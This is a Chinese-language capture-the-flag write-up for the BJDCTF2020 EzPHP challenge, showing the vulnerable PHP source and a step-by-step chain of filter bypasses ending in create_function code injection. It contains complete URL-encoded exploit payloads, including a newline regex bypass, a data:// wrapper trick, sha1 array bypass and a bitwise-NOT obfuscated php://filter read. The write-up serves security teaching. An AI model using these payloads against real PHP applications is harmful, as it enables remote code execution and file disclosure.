一道挺不错的绕正则表达式的题。
打开环境
点一点发现啥也没有,日常看源码。Ctrl+U发现了一个加密,本以为是base64,但是解码失败,试了试base32成功了
这里推荐一个网站CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码
各种编码方式加密方式挺全的,值得收藏。
访问之后发现是代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
我们一段一段看。
第一处
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
$_SERVER解释
url='http://127.0.0.1/zh/index.php?l=1&g=2
那么
$_SERVER[‘QUERY_STRING’] = “l=1&g=2”;
$_SERVER[‘REQUEST_URI’] = “/zh/index.php?l=1&g=2”;
$_SERVER[‘SCRIPT_NAME’] = “/zh/index.php”;
$_SERVER[‘PHP_SELF’] = “/zh/index.php”;说明
$_SERVER[“QUERY_STRING”] 获取的是?后面的传参
$_SERVER[“REQUEST_URI”] 获取 ip地址(http://127.0.0.1)后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径$_SERVER[“PHP_SELF”] 当前正在执行脚本的文件名
此处的bypass:
$_SERVER[‘QUERY_STRING’]不进行url解码,而GET的传参方式会进行一次解码,因此我们可以把要传的参数进行url编码(此处是对所有字符进行url编码,而不是对特殊字符如空格、引号等进行url编码)即可绕过黑名单限制。
第二处
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
第一个if无所谓,也不会输入http啥的,关键看第二个if。
第二个if需要传入的参数debu的值满足正则aqua_is_cute,^和$
用来表示开头和结尾,匹配开头和结尾说明只能是aqua_is_cute,而后面又要求不能等于aqua_is_cute,这里用到一个正则匹配的漏洞,用%0a换行即可绕过
payload:dedu=aqua_is_cute%0a
第三处
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
REQUEST请求包括GET和POST两种方式,用哪种都可以。正则匹配要求不能有字母,这里有一个小知识点:当一个参数同时通过GET和POST两种方式传入时,POST的优先级是高于GET的,所以在GET请求方式中,我们按照需要的构造输入,同时给参数POST一个数字,即可绕过。
第四处
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
file_get_contents
可以读取文件内容,但是我们无法在服务器本地找到内容为'debu_debu_aqua'
的文件进行读取,而上一部分又过滤了http
和https
等协议,也无法进行远程包含,这里使用data协议绕过。
payload:file=data://text/plain,debu_debu_aqua
第五处
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1是一种hash加密方式,这里可以选择碰撞,即找两个值不同但是经过sha1加密后相同的两个字符串进行传参,可以百度搜索这种碰撞对儿。这里用另一种绕过方式,数组绕过。因为sha1无法处理数组,当sha1()的参数为数组,就会返回false。
payload:shana[]=1&passwd[]=2
第六处
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
这里有一个我以前不知道的方法,叫做create_function()注入。参考了大佬的wp,我转述一下。
create_function()函数有两个参数a r g s 和 args和args和code,用于创建一个lambda样式的函数
例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于
function myfunc($a, $b){
return $a+$b;
}
此处存在create_function()注入中可以通过控制$arg来进行代码注入,首先保证传入的$code为create_funtion。
其次是$arg参数,本题中过滤了cat、flag、scan等关键字,无法直接命令执行得到flag的值,在网上查阅后找到了合适的函数get_defined_vars()直接输出所有变量。
如何上传是个问题,我们注意到上一处的过滤,给了我们控制$flag变量的机会,所以我们利用flag变量来构造。
payload:flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
最终的payload要用url编码
最终payload
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2ft
(别忘了POST debu和file)
拿到响应,发现真正的flag在realfl4g.php里。
还记得上面的vardump……那一串吗,我们把那个替换成require,通过伪协议读取。
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
同样需要url编码
最终最终的payload
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data:,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
base64解码一下,得到flag。
参考博客链接:
[BJDCTF2020]EzPHP_yym68686的博客-优快云博客
[BJDCTF 2020] EzPHP (超详细)_A丶R的博客-优快云博客